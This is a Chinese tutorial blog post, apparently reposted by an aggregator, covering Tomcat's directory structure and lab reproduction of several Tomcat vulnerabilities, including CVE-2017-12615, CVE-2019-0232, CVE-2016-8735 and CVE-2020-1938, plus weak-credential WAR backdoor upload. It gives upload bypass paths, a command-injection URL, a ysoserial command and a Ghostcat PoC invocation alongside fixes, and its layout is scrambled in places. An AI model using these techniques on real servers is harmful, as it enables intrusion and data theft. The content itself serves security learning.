tomcat

Posted 明月清风mypf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了tomcat相关的知识,希望对你有一定的参考价值。

4.tomcat篇
tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是
配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍
|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| -- MANIFEST.MF # 配置清单文件 |-- WEB-INF # WEB-INF 目录 | |-- classes # class文件目录 | | |-- *.class # 程序需要的 class 文件 | | -- *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | -- *.jar # 程序需要的 jar 包 | -- web.xml # Web应用程序的部署描述文件
|-- # 自定义的目录
|-- # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。
4.1 Tomcat 远程代码执行漏洞(CVE-2017-12615)
1.漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数
由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代
码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
2.漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产
生,(需要允许put请求)
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
文件下载 Releases · rebeyond/Behinder · GitHub
3.漏洞复现
拉取靶场 启动

readonly
false

支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过
4.修复
1.设置 readonly未true
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
4.3 tomcat弱口令&war远程部署
1.漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理
员把密码设置成弱口令,
使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
2.漏洞复现
输入账号和密码 tomcat
制作后门 打包zip改名成war即可
找到上传,选择waf上传
http://192.168.0.159:36497/manager/html
上传会自动解压 用客户端进行连接即可获取
3.漏洞修复
1.设置强口令
conf/tomcat-users.xml
2.删除manger文件
http://192.168.0.159:36497/shell/shell.jsp

4.2 tomcat 远程代码执行(CVE-2019-0232)
1.漏洞描述
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对
Servlet和JavaServer Page(JSP)的支持。
4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由
于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:

  1. 系统为Windows
  2. 启用了CGI Servlet(默认为关闭)
  3. 启用了enableCmdLineArguments(Tomcat 9.0.及官方未来发布版本默认为关闭)
    2.影响范围
    3.漏洞复现
    搭建tomcat后修改web.xml
    Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,
    并配置enableCmdLineArguments和executable,如下:
    Apache Tomcat 9.0.0.M1 to 9.0.17
    Apache Tomcat 8.5.0 to 8.5.39
    Apache Tomcat 7.0.0 to 7.0.93

    cgi
    org.apache.catalina.servlets.CGIServlet

    debug
    0


    cgiPathPrefix
    WEB-INF/cgi-bin


    executable


    5


    cgi
    /cgi-bin/


    然后修改在conf/context.xml中的添加privileged="true"语句
    在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入
    完成后访问 http://192.168.0.136:8080/cgi-bin/hello.bat?&C%3A\\Windows\\System32\\ne
    t%20user
    4.漏洞修复
    受影响版本的用户应该应用下列其中一项缓解。升级到:

WEB-INF/web.xml
${catalina.base}/conf/web.xml

@echo off echo Content-Type: text/plain echo. set off=%~1 %off% Apache Tomcat 9.0.18或更高版本 Apache Tomcat 8.5.40或更高版本 Apache Tomcat 7.0.93或更高版本 4.4 tomcat反序列化漏洞(cve-2016-8735) 1.漏洞描述 该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由 于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及 时修复更新而导致 的远程代码执行。 该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。 2.影响范围 漏洞影响版本: ApacheTomcat 9.0.0.M1 到9.0.0.M11 ApacheTomcat 8.5.0 到8.5.6 ApacheTomcat 8.0.0.RC1 到8.0.38 ApacheTomcat 7.0.0 到7.0.72 ApacheTomcat 6.0.0 到6.0.47 3.漏洞复现 利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执 行。 conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口: 修改bin\\catalina.bat 在Execute The Requested Comman上面添加 -Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯 -Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证 允许 startup.bat tomcat 查看端口 set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false - Dcom.sun.management.jmxremote.authenticate=false 执行命令 执行弹窗计算器 4.漏洞修复: 1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进 行网络访问控制。同时,增加严格的认证方式。 2、根据官方去升级更新相对应的版本。 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001 Groovy1 "calc.exe" 4.5 Apache Tomcat文件包含漏洞CVE-2020-1938) 1.漏洞描述 Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的 Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。 2.影响版本 3.漏洞复现 tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另 外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。 tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息, prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而 可以控制request对象的下面三个Attribute属性 javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path 再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任 何文件。 使用攻击payload执行即可 https://github.com/xindongzhuaizhuai/CVE-2020-1938 Apache Tomcat 6 Tomcat 7系列 <7.0.100 Tomcat 8系列 < 8.5.51 Tomcat 9 系列 <9.0.31 --> python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168 4.漏洞修复 1.更新到安全版本 Apache Tomcat 7.0.100 Apache Tomcat 8.5.51 Apache Tomcat 9.0.31 https://tomcat.apache.org/download-70.cgi https://tomcat.apache.org/download-80.cgi https://tomcat.apache.org/download-90.cgi 或Github下载:https://github.com/apache/tomcat/releases 2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉 3、配置ajp配置中的secretRequired跟secret属性来限制认证

以上是关于tomcat的主要内容,如果未能解决你的问题,请参考以下文章

jsp页面被tomcat引擎运行的时候组装成java片段,但是这些java片段怎么没有main方法作为程序的入口啊?

Tomcat根据JSP生成Servlet机制解析

tomcat:部署:“无法调用 Tomcat 管理器:连接被拒绝”

Tomcat配置和数据源配置

012在Tomcat下如何手动部署Web应用

找到多个名为 [spring_web] 的片段。这对于相对排序是不合法的